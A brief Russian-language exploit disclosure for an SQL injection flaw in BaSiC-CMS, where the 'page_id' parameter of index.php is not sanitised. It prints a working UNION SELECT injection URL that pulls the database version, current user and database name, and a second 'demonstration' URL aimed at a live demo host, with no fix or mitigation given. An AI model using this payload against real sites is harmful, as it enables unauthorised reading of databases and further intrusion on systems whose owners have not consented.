SQL-инъекция в BaSiC-CMS


Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «page_id» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Эксплоит:

wwwsite.com/pages/index.php?r=&page_id=-74+union+select+1,1,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1--

Демонстрация:

http://demo.basic-cms.de/pages/index.ph … ,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1--